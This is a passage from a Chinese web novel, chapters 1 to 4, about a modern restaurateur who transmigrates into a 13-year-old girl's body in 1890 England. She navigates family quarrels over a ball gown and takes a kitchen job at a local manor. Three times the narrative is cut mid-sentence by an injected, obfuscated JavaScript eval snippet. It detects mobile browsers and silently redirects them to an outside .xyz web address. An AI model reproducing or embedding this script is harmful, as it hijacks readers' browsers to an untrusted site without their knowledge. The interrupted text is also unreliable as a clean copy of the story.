《19世纪上流社会 英伦》 1. 穿越了 1890年深冬 连续下了好几天的雪终于停了，天边泛起一丝鱼肚白，微弱的阳光透过层层叠叠的积云撒向大地，躲在家中的人们终于可以出门活动，道路上陆陆续续响起零星的车马声和交谈声。 多年的生物钟把沈安珀从睡梦中唤醒，她揉了揉惺忪的睡眼，又呆滞地在被子里窝了一会儿，享受着清晨难得的闲适。 即便已经穿越过来一个礼拜了，她仍无法完全适应这里的生活。 试问谁能接受自己从21世纪繁华美国的大都市，来到19世纪脏乱差英国的乡村？ 经历了一番思想斗争，沈安珀叹着气，认命般地从温暖的被窝里爬起来。 经过这段时间的摸索，她已经大致摸清了当前寄居家庭的基本情况—— 这具身体主人也叫安珀，是个年仅十三岁的小姑娘。她和她的家人们生活在英格兰西北部的默西塞德郡，一座名叫戈恩的小镇上。 这家的男主人姓威尔逊，是小安珀的父亲，目前就职于小镇上唯一一所报社，收入一般，小安珀的母亲则是一名全职家庭主妇。 威尔逊家拥有一栋三层带花园的乡村别墅和一座小型农场（日常所需的物资基本维系于此）。 此外，小安珀还有两个姐姐，两个妹妹，日子过得虽不算贫苦却也并不富裕。 19世纪的英国乡村还处于相对落后封闭的状态，生活在这里的小安珀从未与外界有过接触。家中子女众多，行三的她并不受父母的重视，加之跟姐姐妹妹都有一定的年龄差距，这使得小姑娘形成了孤僻、不善言辞的性格。 但在沈安珀看来，小安珀其实有着非常丰富的内心世界—— 她拥有超越常人的五感，能轻松捕捉大自然的气息、声音，也能敏锐感知他人的情绪，从而提前做好防备。倘若受到良好的教育，或许她能成为一名画家，亦或是一位作家。 可惜小安珀没读过书，乡村人口稀少，她又没什么同龄玩伴，内心的感受无法倾诉，这才变得越来越沉默寡言。 这是小安珀的不幸，却让继承了这具身体的沈安珀捡了个大便宜。 穿越之前，她曾是纽约唐人街最大的华人餐厅老板。她精通烹饪，深知灵敏的五感对于一位料理人的重要性。 沈安珀不知道的是，这样的天赋在她今后的人生中发挥了巨大的作用，让她一次又一次地避开了危险，当然这些都是后话了。 一场罕见的大雪让戈恩小镇被封锁了半个月，伤寒引发的高热来势汹汹，无情地剥夺了小安珀的生命。 圣诞来临前夕，这个可爱的小姑娘永远闭上了双眼，悄无声息地离开了这个世界。 在这个人命如草芥的时代，一个孩童的离开，根本无人在意。 沈安珀在心里为小安珀做了祷告，希望小姑娘能前往天堂，那里风景如画，四季温暖，有善良的天使们，使她再也不用遭受寒冬的侵袭与疾病的折磨。 接着，她从衣橱里拿出小安珀为数不多的裙子套上。 经历两次工业革命以后，英国社会发生了翻天覆地的改变，越来越多的女性走出家门寻找工作，为了方便干活，大家纷纷抛弃了传统带束胸的裙子，袖子变窄，轮廓修身。 小安珀的裙子有些宽松，一看就是从姐姐们那里继承的，等她穿不下的时候，还会继续传给妹妹们。 好在女孩们对衣裙都很珍惜，除了有些旧和不合身，每一件都干净整洁没有补丁，这让常年在厨房工作，有轻微洁癖的沈安珀表示很舒服。 寒风从木质窗棂的缝隙灌进来，沈安珀忍不住打了个寒颤，她用余光扫了眼漏风的窗户暗下决心，早晚要给自己换一间有壁炉的温暖房间。 否则下一个寒冬该怎么过，毕竟她可没有第二条命了。 终于穿好繁琐的衣裙，沈安珀对着镜子打量起了自己的新造型。 现在的她已经完全是欧罗巴人的外形，轮廓又不似欧罗巴人那般骨骼硬朗，小而精致的鹅蛋脸上还保留着一些婴儿肥，金棕色的卷发浓密蓬松披散在腰间，有几分前世的影子，最特别的是，她有着一双不同于姐妹们的琥珀色眼眸，垂眸间格外楚楚动人。 一切收拾妥当，沈安珀提着裙摆来到楼下。 厨房里，一大两小正背对着她忙碌。 看来今天起晚了。 这样想着，沈安珀撸起袖子上前帮忙，厨房里的活儿没人比她更熟练。 “安珀，快放下！” 一道急切却又不失亲和的女声打断了沈安珀的动作。 沈安珀抬头迎上一双忧心忡忡的眼睛。 来人是小安珀的母亲——玛利亚·威尔逊，一位拥有罕见金发碧眼的俄国美人。 连年的生育让她看起来有些沧桑，不到四十岁的年纪，眼角就爬满了细纹。 但这并不妨碍玛利亚太太追生儿子的想法，此刻她正身兼多职在厨房忙得飞起，洗得发白的围裙下，是八个月大的孕肚。 对此，沈安珀深感无力又无可奈何。 玛利亚太太快速上前拿走沈安珀手里的餐具，并给了她一个贴面吻：“安珀，感觉怎么样了？我可怜的孩子，在你完全康复之前，这里就交给我吧。” 面对这突如其来的亲密，沈安珀有一瞬间地僵硬，却还是在第一时间装作顺从地接受了，并学着记忆中的那样回抱了对方一下。 穿越前父母早逝，这导致她并没有太多亲密关系的相处经验。好在丰厚的遗产，让她不至于凄惨度日。她由爷爷、叔伯们轮流抚养，五岁学习厨艺，十八岁出国学习管理，二十五岁就拥有了属于自己的餐厅。后又用了三年时间，让她的餐厅声名远扬。 如果不是这次意外…… 趁沈安珀愣神的功夫，玛利亚太太已经把她推到餐桌前：“我想你一定饿了，赶快多吃点，让身体好起来。”说罢还亲密地眨了眨眼睛。 沈安珀顺势坐了下来，快速扫了一眼餐桌上的食物：鹰嘴豆糊糊、黑面包片、煎鸡蛋，标准的英伦早餐三件套，且连续吃了一周，甚至可能更久。 “嘶……谢谢妈妈。” 除了被迫接受以外，沈安珀也没有更好的办法。 在穿来的一周里，她不是没想过改善家庭用餐条件，但此刻的她不过是个生理年龄十三岁的小孩，毫无话语权。况且巧妇难为无米之炊，在这偏远的乡村里，还真找不到什么像样的食材。 因此，哪怕她再不想过这样的日子，也只能暂时蛰伏下来。 沈安珀苦笑了一下，以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542041|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的日子还长着，这就受不了了？ 上天给了自己一次重新活下去的机会，已是十分侥幸，人还是要学会知足啊。 想开以后，沈安珀轻抿了一口牛奶。 威尔逊家有奶牛，最不缺的就是奶制品，这也是为数不多能入口且称得上有营养的东西。 玛利亚太太说的没错，这具身体本就虚弱，刚刚还经历了一场要命的风寒，她必须多喝点牛奶强壮身体，这才能图其他。 玛利亚太太安排好三女儿，又朝着楼上喊道：“亲爱的，该起床了，不然要迟到咯。” 可别误会，经济不宽裕的威尔逊家，自然不会把女儿们送去读书，玛利亚太太只是在叫醒上班快迟到的大女儿伊丽莎白。 前面说过，小安珀有两个姐姐两个妹妹，所以威尔逊家共有五个女儿。 现在在厨房忙碌的是双胞胎妹妹老四艾米丽·威尔逊和老五贝拉·威尔逊，而老二科琳·威尔逊一大早就去农场了。 作为家里的长女，在母亲没有生出男孩之前，伊丽莎白·威尔逊的地位无疑是姐妹中最高的，也是最受威尔逊夫妇偏爱的。 这样的偏爱体现在方方面面，比如说，她拥有一个寓意好又好听的名字，又比如，她是全家唯一拥有独立房间的女孩。 “知道了，妈妈。” 楼上传来不耐的回应，以及乒乒乓乓物体落地的声音。 很快楼梯口响起一阵杂乱窸窣的脚步声。 毫无疑问，大姐伊丽莎白是个美人—— 她完全遗传了母亲玛利亚的优点，肤白如脂，金发碧眼，五官精致地像电影里的女明星。高挑丰满的身材让她有一种介于少女和成熟女人之间的风韵。 哪怕穿着老土的深灰色裙衫，也能把威尔逊家其他几个女孩衬托得十分逊色。 沈安珀收回一闪而过的惊艳目光，礼貌地点头问好，她对这个名义上的长姐印象一般。多年摸爬滚打的经验告诉她，这个姐姐不是什么省油的灯，自己还是少惹她为妙。 伊丽莎白有些诧异一向乖巧的妹妹居然提前用餐，这可不符合威尔逊家的规矩，只是她还没来得及开口，就被玛利亚太太打断了。 “伊丽莎白，去帮爸爸取一下报纸，这该死的天气，让他错过了太多的讯息。” “好的，马上！” “贝拉，帮我把盘子拿来。” “好的，妈妈。” 这就是威尔逊家普通且忙碌的日常。 伊丽莎白取了报纸随手放在主位上，相比起妹妹的过失，现在她有更重要的事情去做。 抿了抿唇，伊丽莎白终于开口了： “妈妈，赫伯夫人要举行圣诞晚宴，今天我要跟罗拉太太一起上街采购，你有什么需要的吗？” 赫伯夫人是乡绅查理斯·赫伯的遗孀，在小镇拥有一座颇具规模的庄园。伊丽莎白目前在她家担任帮佣，而罗拉太太则是庄园的女管家。 “不用了，亲爱的，这些我自会留意着处理。”玛利亚太太一边手脚麻利地摆盘，一边柔声回应道。 赫伯夫人可是极为重要的雇主，她可不敢让伊丽莎白夹带私货。 待最后一道菜品被稳稳端上餐桌，今早的一番忙碌终算是暂告一段落。 2. 礼服风波 安珀赶紧瞧了一眼主菜—— 果不其然，是炖得稀烂的鳗鱼。 默西塞德郡西临爱尔兰海，捕渔业极为发达，威尔逊家的餐桌上常年都有鱼。 可惜，玛利亚太太的厨艺实在难以恭维。对于安珀这种拥有敏锐五感的人来说，更加是一种折磨。 鳗鱼要是知晓会被炖煮成这般模样，恐怕也会觉得自己白白牺牲了吧，安珀在心里吐槽道。 一切准备妥当，玛利亚太太便打算去喊丈夫下楼用餐。 “难得有机会去集市，妈妈难道不想买点什么吗？”伊丽莎白佯装不经意地继续着方才的话题。 若到了此刻，玛利亚太太还听不出大女儿的弦外之音，那她也枉为五个孩子的母亲了。 “你又在盘算些什么，伊丽莎白？”玛利亚太太一脸无奈，眼中却满是宠溺。 伊丽莎白见计谋被戳穿，调皮地耸了耸肩：“真是什么都瞒不过您的眼睛……好吧，其实我是想问……您能再给我五镑买一条新裙子当作圣诞礼物吗？” “什么？五镑？什么样的裙子如此昂贵？”玛利亚太太忍不住惊呼出声。 刚从厨房走进餐厅的双胞胎，听闻此言，忍不住竖起耳朵偷听。 玛利亚太太面露难色，却只是委婉劝道：“我的意思是，这当然不行。上个月你已经提前支取了你的圣诞礼物，剩下的钱我还打算给科琳、安珀、小艾米和小贝拉准备些礼物呢。” “可是妈妈，我真的非常需要这条裙子！”伊丽莎白仍不肯轻易放弃。 “听着，伊丽莎白，你的妹妹们同样也需要圣诞礼物。”玛利亚太太再次驳回了大女儿的请求。 “但事情总归有轻重缓急，不是吗？”伊丽莎白站起身，亲昵地攀在玛利亚太太的肩膀上撒娇——这是她惯用的小伎俩。 双胞胎中的姐姐艾米丽见状，忍不住扶额。 眼见玛利亚太太软硬不吃，伊丽莎白这才缓缓道出自己的目的：“理查德先生从学校回来了，他约我参加圣诞舞会，可我连一件像样的礼服都没有……” 玛利亚太太先是惊讶，随即转为欣喜：“理查德先生？赫伯夫人的独子？难道他对你……” 伊丽莎白垂着头轻声应是，脸上浮现出独属少女的羞涩。 要知道理查德先生可是赫伯庄园唯一的继承人，不但有钱，长得还十分帅气，是小镇上所有女孩梦寐以求的金龟婿。 在圣诞舞会这么重要的日子，他却独独约了自己…… 想到这儿，伊丽莎白的呼吸都不由加重了几分，她忍不住幻想起自己成为赫伯庄园女主人后的生活。 伊丽莎白一脸郑重地开口：“妈妈，这可是我改变命运的绝佳机会！” 伊丽莎白的话并非无的放矢。 戈恩小镇上下仅有两千人口，其中大多还是佃户，自然没有所谓的“社交季”。赫伯夫人举办的晚宴，便是平民女孩所能接触到的最高等级的社交场合，说白了就和相亲宴会差不多。 新年一过，自己就满十七岁了，到了相看的年纪。母亲是个一心扑在柴米油盐上的家庭主妇，生活除了生养孩子、伺候家人，再无其他社交。平日里最宠她的父亲，也从不为她的终身大事操心，仿佛这事与他毫无关系。 这让伊丽莎白十分郁闷。 她清楚，以自己的出身，大概率会嫁给像父亲一样的小职员，婚后生养一堆孩子，像母亲那样操持家务，一家人挤在一座小房子里，吵吵闹闹地过完一辈子。 如果自己非常平庸倒也罢了，偏偏生得如此貌美。 她绝不想过这样的日子！ 绝不！ 伊丽莎白眼里的野心一闪而过。 她明白，自己若再不主动，终身大事恐怕就真被耽误了。 所以，每逢理查德放假回家，她都会绞尽脑汁和他搭讪。 最终成功吸引了对方的注意。 伊丽莎白的话仿佛一道光，瞬间点醒了玛利亚太太，她对此深表赞同。可两家过于悬殊的家境，又让她犹豫不决。 “妈妈，那我们的圣诞礼物怎么办？”眼见玛利亚太太有些动摇，艾米丽抢先一步打断了她，还偷偷向妹妹使了个眼色。 双胞胎之间的默契让贝拉心领神会，她立马可怜巴巴地看向母亲，满心希望她千万别同意这么无理的请求。 “这是为了成功所付出的必需支出！”伊丽莎白没好气地说：“妈妈，您可一定要帮帮我！我绝对不能在那天出丑！” 尖锐的争执声成功吸引了安珀的注意，她的注意力从那令人难以下咽的炖鳗鱼上转移开来。 伊丽莎白如何择偶她不管，用什么方式她也不管，但在经济条件有限的情况下，对方这种侵占姐妹利益的自私做法，她不能苟同。而且玛利亚太太这般偏心的行为，在她穿来之前，四姐妹就已经遭受过多次了。 安珀忍不住想要发言，却被另一道声音突然打断。 “妈妈——” 门外走进来一个与伊丽莎白年龄相仿的少女。 她与四姐妹有五分相似，脸上零星分布着几片小雀斑，常年的劳作使得她的肤色略显黝黑。为了干活方便，她把头发剪得像个男孩一般短，那是与安珀如出一辙的金棕色。 “妈妈，我需要一副厚手套方便干活，这可是您早就答应过我的！” 来人正是二姐科琳。 双胞胎在心里暗自欢呼，安珀也不禁松了口气。 “哦，确实是这样……我之前答应过你。”玛利亚太太陷入了两难的境地，嗫嚅着看向大女儿。 伊丽莎白拉长了语调，满是祈求地嚷道：“妈——妈——您也不希望我在那天穿着破旧的裙子出现，被别的女孩嘲笑，从而失去理查德的青睐吧！ “要是我能成为赫伯庄园的新女主人，妹妹们未来的结婚对象层次也就完全不一样了。这难道不比一个小小的圣诞礼物重要得多吗？” 伊丽莎白蛊惑性的言语像一剂强心针，让玛利亚太太心中的天平开始慢慢倾斜。 虽说她平日里没怎么帮女儿们张罗婚事，但这并不代表她不希望女儿们能觅得良人，尤其是她最疼爱的伊丽莎白。 玛利亚太太先是安抚了一下闹腾的女儿们，随后一脸郑重地宣布：“我的孩子们，这可真是一件大事，我必须得和你们的爸爸好好商议！” 伊丽莎白一听这话，心里明白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542042|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情已经成了一大半。她有些激动地畅想着未来，仿佛自己已经成功入主赫伯庄园了。 趁着玛利亚太太离开的功夫，艾米丽忍不住抱怨：“伊丽莎白，你每次都这样，这实在是太过分了！” 贝拉也连忙点头附和：“没错。” 伊丽莎白也懒得再伪装自己，她一脸不耐地对妹妹们说道：“小鬼们，你们才八岁，需要打扮吗？相比之下，当然还是我嫁入赫伯家族更为重要啦！” 姐妹俩被怼的哑口无言，忍不住暗暗叫屈，为什么伶牙俐齿的伊丽莎白偏偏是她们的姐姐？ 恰在此时，一家之主威尔逊先生来到了餐桌主位缓缓坐下。 只要瞧上威尔逊先生一眼，便能明白姐妹们颜值上的缺陷究竟是遗传自谁了—— 詹姆·威尔逊先生，年逾四十，中等身高（甚至还不如玛利亚），人到中年的他头发稀疏，有谢顶的趋势，是典型的日耳曼人。不过威尔逊先生虽然称不上帅气，气质却不凡，不笑的时候，有种不怒自威的气势。尤其是与连年生育、饱经沧桑的妻子玛利亚相比，他身上有一种与这简陋餐厅格格不入的英伦绅士感。 姑娘们对这个父亲还是有些畏惧的，见他来了，很快便安静了下来。 “大清早在吵些什么呢？”威尔逊先生皱着眉头问道。 “只是姐妹之间的一点小矛盾罢了。”玛利亚太太面带微笑，赶忙为大女儿遮掩过去。 “可以用餐了，孩子们，让我们祷告吧。” 众人闻言，齐齐闭上眼睛，双手交握置于额前，口中念念有词：“恩主耶稣基督我们感谢你！感谢你赐给我们的饮食，使我们身体健康，也求你赐下灵粮，使我们灵命成长。让我们为你做见证，荣耀你的名。我们如此感谢，奉主圣名。阿门！” 祷告结束，一家人正式开始用餐。 伊丽莎白全程如热锅上的蚂蚁，坐立不安地朝玛利亚太太使眼色。 安珀看到这一幕，心里不禁为伊丽莎白的莽撞捏了把汗。 其实刚穿来的时候，她就对全体家庭成员做过一番细致的分析。 在原身的记忆里，威尔逊先生是个不苟言笑的人，唯独对大姐还算和蔼。对此，安珀不置可否。在她看来，“苛刻、冷漠”才是威尔逊先生的底色，所以她压根不觉得此番伊丽莎白能得偿所愿。 玛利亚太太把事情的来龙去脉简单地向威尔逊先生交代了一遍，随后向大女儿投去鼓励的眼神。 她本就不打算动用给女儿们准备礼物的那笔钱，如今只能寄希望于威尔逊先生的慷慨。 伊丽莎白接收到母亲的暗示，鼓足勇气对威尔逊先生说：“爸爸，我想要一条约会用的裙子……这大概需要五磅的支出……或许这确实非常昂贵，但是所有的付出都是值得的……” 当威尔逊先生听到伊丽莎白的约会对象是赫伯家族的少爷时，原本平静的面容瞬间阴沉了下来。 可伊丽莎白却越说越激动，越说越连贯，丝毫没有察觉到威尔逊先生的脸色越来越难看。 “够了！”威尔逊先生厉声打断了女儿的请求。 伊丽莎白被这突如其来的呵斥吓了一跳，手足无措地愣在那里。 3. 第一份工作 “詹姆，你这是怎么了？”玛利亚太太再次充当起和事佬。 “一个庄园的继承人就能让你自甘堕落了吗？”威尔逊先生怒目圆睁，满眼失望地看向大女儿。 伊丽莎白撇了姐妹们一眼，慌张又急切地辩解道：“不是的，爸爸，我们之间……” 威尔逊先生却不给她把话说完的机会，再次拔高音量：“一个淑女，怎么能当众谈论自己的婚事！” 安珀在心里立马给威尔逊先生又加上了一个“封建”的标签。 “可是爸爸，我真的很需要这五镑。”伊丽莎白仍不死心，声音中带着一丝不易察觉地哽咽。 她从小最受宠爱，吃穿用度也比妹妹们好，五磅虽然很多，但家里不至于拿不出来，她想不通爸爸为什么大发雷霆。 难道自己的终身大事，还不值五磅吗？ 威尔逊先生气得胸口剧烈起伏，声音因为愤怒而微微颤抖。 “听着，女孩们，十八岁之前我都不会考虑把你们嫁出去，所以不管是理查德还是别的什么人，你们别想着自作主张！ “玛利亚，看好她们几个，谁也不准去参加圣诞舞会！”威尔逊先生怒气冲冲地起身，临走时扔下这么一句，只留下一屋子的女眷面面相觑。 玛利亚太太在松了口气的同时，只能无奈地对大女儿露出爱莫能助的表情，随后拿起公文包追了出去。 餐厅里 女孩们还沉浸在刚刚威尔逊先生的怒火中，谁也不敢第一个出声。 威尔逊先生大怒不在安珀意料之内，她以为以这对夫妻的偏心，还是会给伊丽莎白几先令打发一下。 可眼下，一件更棘手的事情摆在了她面前。 因为原身年纪小底子差，在穿越来的一周时间里，安珀的大部分时间都在休养和想着怎么给自己开小灶，补充营养，快快长大工作。 今天威尔逊先生的话让她突然意识到，除了生存以外，还有另一个更严峻的问题，这里已经不是女性法定年龄之前不能结婚的华夏，而是维多利亚时期的英国，男性完全掌控女性命运的时代。 威尔逊先生掌控着她们姐妹们的婚嫁权，连玛利亚太太也无法插手分毫。 伊丽莎白的自私娇纵固然可气，但追根究底，她也只是想自己选择想要的结婚对象。 如果继续留在戈恩，那么等待自己的唯一出路就是嫁人！ 前世自由恋爱的时代，自己尚且二十八岁都没结婚，更何况是来到这个完全陌生的国度。 十八岁…… 只有五年的时间了…… 强烈的不安让安珀生出了出逃的心思。 可她这具身体才十三岁，身无分文又能去哪儿？ 外面的世界会比威尔逊家更安全吗？ 另一边，眼泪在伊丽莎白眼眶里打转，但她不想在妹妹们面前失态，硬生生憋了回去。 科琳重新审视了一下这位姐姐，新仇旧恨涌上心头，发动了第一击。 “伊、丽、莎、白，你答应过我的，今年圣诞绝对不捣乱！”科琳咬牙切齿，一字一顿道。 “当然，亲爱的科琳小姐，没人能抢走你干活工具！”伊丽莎白正在气头上，同样不甘示弱。 没人能在胡搅蛮缠上胜过伊莉莎白，科琳被气得不行，她深知自己说不过对方，赶紧拉了个战友帮忙。 “安珀，你来评评理。” 安珀还在思考自己的人生规划，实在没有心力卷入这种“小学鸡”大战。 科琳见安珀没立刻帮自己，有些恨铁不成钢地睨了她一眼。 在妹妹们面前被狠狠驳了面子，伊丽莎白切煎蛋的手都用力了几分。 她必须立刻在妹妹们面前重拾威信。 “赫伯庄园的圣诞晚宴要开始筹备了。”伊丽莎白忽然将银刀重重搁在盘边，清脆声响惊得最小的贝拉瑟缩了下。 她用亚麻餐巾慢条斯理擦着手，眼角余光扫过围坐餐桌的几双眼睛，“这次宴会非常盛大，夫人专门邀请了附近几个镇子的名流，据说还有来自利物浦的大人物……对此，我需要一个女孩的帮忙。” 姐妹们安静了一瞬，不约而同停下了手里的动作。 “不仅能吃到奶油布丁，还能额外拿到三十先令报酬哦。”伊丽莎白眨了眨眼睛，眼中闪过一丝狡黠。 这话像一颗投入平静湖面的石子，瞬间激起千层浪，姐妹们的心一下子被高高提起，眼神里满是惊讶与向往。 伊丽莎白得到了自己想要的效果，短暂的寂静后，她没有丝毫犹豫脆声道：“安珀—— “你愿意跟我一起去吗？” 三十先令的报酬？ 这可相当于威尔逊先生一周的收入了。 简直是瞌睡送枕头，前一秒她还在想怎么赚钱逃离这个家庭，后一秒就有机会送上门来。 “荣幸之至。”安珀大脑还没反应过来，嘴巴就抢先一步说了。 “非常好，吃完早餐我们就出发。”伊丽莎白挺直腰背，脸上写满了志得意满，还特意给了科琳一个嘚瑟的笑脸，仿佛在宣告自己这场小较量的胜利。 科琳气得不行，拿起桌上的面包便夺门而出。 安珀一愣，随即意识到她好像得罪了二姐。 原身跟父母姐妹关系都一般，唯独二姐科琳是个例外。 因为玛利亚太太连年怀孕的缘故，安珀、艾米丽、贝拉三人自出生起基本就是由科琳照顾，而她刚刚的举动无疑是“背叛”了对方。 安珀没有迟疑，立马追了出去。 科琳并没有走远，只是回到了离家不远的农场。 说农场也不准确，不过是一座工具房加栅栏圈出来的一片土地，养着一匹马，两头奶牛和一群鸡鸭。 农场目前由一对父子和科琳三人照看，是威尔逊家一家肉蛋奶的主要来源。 安珀可不像原主那般不善言辞，她左一个姐姐右一个姐姐，软言细语地安慰着，很快就抚平了科琳心中的怒火。 “你跟以前好像不一样了。”科琳上下打量着安珀，说出了自己的疑虑。 说者无心，听者有意，安珀有点害怕被这个二姐察觉出她的异样。 她还没来得及解释，科琳就自顾自地说道：“你说的也对。去庄园帮忙可是顶好的差事，如果干得好，说不定就能留下，真要是被外人替了，那才真是太可惜了。” “是啊，肥水不流外人田，我们毕竟是姐妹，等我做完这周，布丁我们一起分享。”安珀的话语轻柔又有分量，蕴含着让人信服的力量。 安珀可比不靠谱的伊丽莎白强多了，科琳如此想到。 “肥水不流外人田？”她低声重复了一遍，又笑着说：“可真是奇怪又贴切的比喻。” 安珀简单收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542043|171019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拾了一番，出门时，伊丽莎白已经等得不耐烦了。 “快一点，我还有很多活要干呢！”伊丽莎白自然知道安珀刚刚去干嘛了，对她没跟科琳划清界限有些不爽。 真是一点都不懂得审时度势。 “一会儿去了庄园，你可千万别大呼小叫，也不要到处乱跑，知道吗？” “知道了，姐姐。” 安珀拼命深呼吸，告诉自己不要跟一个十六岁的小姑娘一般见识，这才控制住了自己的白眼。 看着都不如自己机灵。 伊丽莎白在心里嘀咕了几句，她有点后悔叫上这个呆头鹅妹妹了。 * 她们出来太晚，马车已经没有了，只能步行前往庄园。 随着步伐靠近，庄园的外形一点一点呈现在眼前—— 赫伯庄园是一座典型的英式庄园，白墙搭配着深灰色的石板屋顶，显得小巧而精致。橡木门上的铜制门环被擦得锃亮，在阳光下闪烁着微光。庄园前是规整的花园，修剪成球形的灌木错落有致地分布着，冬日庭院里光秃秃的，但可以想象春天花朵肆意绽放时有多美。 一脚踏入屋内，脚下是温暖的木地板。壁炉里的柴火“噼里啪啦”地燃烧着，驱散了冬日的寒意。墙上挂着几幅描绘田园风光的油画，笔触细腻，色彩柔和，为整个客厅增添了几分艺术气息。 这座庄园虽比不上安珀在电视剧里看到的那般奢华，但每一处布置都透着主人的巧思。佣人们各自忙碌着，一切都显得井井有条，秩序井然。 伊丽莎白没带安珀过多停留，简单参观了一下，便径直朝着偏厅走去。 这个偏厅靠近后厨，是佣人们用餐的地方。 长桌的末尾，坐着一位身着素裙的妇人，正托着腮，眼神放空，盯着桌上残余的咖啡出神，显然已经等候多时。 看见来人，妇人微微皱眉，目光如刀般锐利上上下下打量着安珀，冷冷开口：“这么小？” 原身长期挑食，又刚大病一场，身形瘦小，看起来只有七八岁的模样。 妇人伸出一根手指，轻轻点了点桌面，面无表情地说道:“转个身我看看。” “张嘴。” 安珀虽满心疑惑，却还是乖乖照做。 妇人微微眯起眼睛，眼中闪过一丝审视:“满十岁了吗?” 安珀挺直了脊背，礼貌又清晰地回答:“女士，我今年十三岁了。” 妇人旋即自我介绍:“我是管家，你可以叫我罗拉太太。” 安珀迅速反应过来，微微欠身，恭敬回应:“是，罗拉太太。” 罗拉太太微微颔首，神色稍有缓和:“会干活吗?” 伊丽莎白见缝插针，急忙上前一步，抢着回答：“会，会的。洗衣做饭打扫卫生，这些她都会。” 殊不知，她的急切反而让罗拉太太眉头微皱。 安珀将这一切尽收眼底，心中暗叫不好，不着痕迹地向前半步，不慌不忙地说：“罗拉太太，我擅长做饭，最拿手的菜是炙烤鳗鱼。” “炙烤鳗鱼？”罗拉太太眼中不易察觉地闪过一抹光亮，面上依旧不动声色。 安珀神色笃定，眼神真挚，坚定说道：“是，这是祖上流传下来的手艺。” 有家传菜谱在任何时代都是值得骄傲的事，这代表了一个家族的底蕴，所以安珀不怕伊丽莎白拆自己的台。 4. 集市采购 罗拉太太见安珀稳重，回答问题张弛有度，非常满意地点了点头。 随后她把赫伯庄园的规矩，譬如不能随意进入主人房间等，一一告知安珀。 这意味着自己能留下了？ 安珀被惊喜砸中，面上却还要保持淡定。 见妹妹能被留下，伊丽莎白也觉得有荣与焉，露出如释重负的笑容。 然而，轻松的氛围还没持续多久，罗拉太太不容置疑的吩咐便随之而来。 “伊丽莎白，你去准备一下出门用的行具，安珀你去厨房帮忙，那里正缺人手。” 语毕，很快就有佣人上前带安珀往厨房的方向走去。 安珀心中忐忑，但更多的是对这份新工作的期待。 临走前，伊丽莎白冲着安珀使了个眼色，示意她好好干，便匆匆跑去了马房。 前来带领安珀的女佣，瞧着不过十岁出头，满脸的稚气未脱。她像一只欢快的小鸟，对安珀满是好奇，黑溜溜的眼睛盯着安珀，小嘴就没停过，叽叽喳喳说个不停。 “你是伊丽莎白带来的人，你们是什么关系呀？” 安珀感觉伊丽莎白似乎并不想让众人知晓她们的姐妹关系，不然刚刚在管家面前，便会直言相告了。她暗自思忖，也不知道对方的臭脾气在这庄园里有没有得罪什么人。 这般想着，她便含糊道：“不过是亲戚罢了。” 反正她们俩长相并无相似之处，随便他人如何揣测。 “哦，高傲得像白天鹅的伊丽莎白可从未带人来过庄园。 “我叫莉莉·戴维斯，你叫什么名字呀？”莉莉眨着灵动的大眼睛，好奇地问道。 “我叫安珀。”安珀轻声回应。 一路上，莉莉像连珠炮一般，把自己知道的事儿一股脑全倒了出来。 这个庄园是赫伯家族的祖宅，赫伯夫人一家以前住在利物浦。庄园上下连同管家在内只有六个佣人，以及一名马夫，所以这次宴会才会如此缺人手。 莉莉兴致勃勃地介绍着：“后厨正式厨娘只有莫莉太太一个，她是个非常和善的人。我从未遇见能在我吃不饱的时候给我土豆的人。 “你问我吗？我只个外围负责打下手的。 “总之，你来得可真是时候，以后我就多了一个可以说话的人。”莉莉说着亲昵地挽住安珀的胳膊，脸上满是欢喜。 安珀被她拉着朝后厨走去，心思却回到了刚刚罗拉太太的提问。 其实那道炙烤鳗鱼，也是她临时想到的。 由于宗教信仰问题，鱼肉是英国人获取蛋白质的重要来源，泰晤士河又是鳗鱼的重要产区，鳗鱼也因此走上了英国人的餐桌。 关于鳗鱼，当下主流做法有鳗鱼冻、鳗鱼冻配土豆泥、鳗鱼派等，其中鳗鱼冻因做法简单粗暴、营养丰富，深受底层人民喜爱。 赫伯家自然也会吃鳗鱼，却不能像平民一样去食用。这次赫伯夫人的宴会广邀富商名流，要是拿不出让人眼前一亮的菜品，难免会失了颜面。 安珀正是抓住了这一点，打动了罗拉太太。 * 莉莉冲着后厨喊了一声：“莫莉太太，我把人带来了！” “进来吧，孩子们！”里面响起一道粗犷的女声。 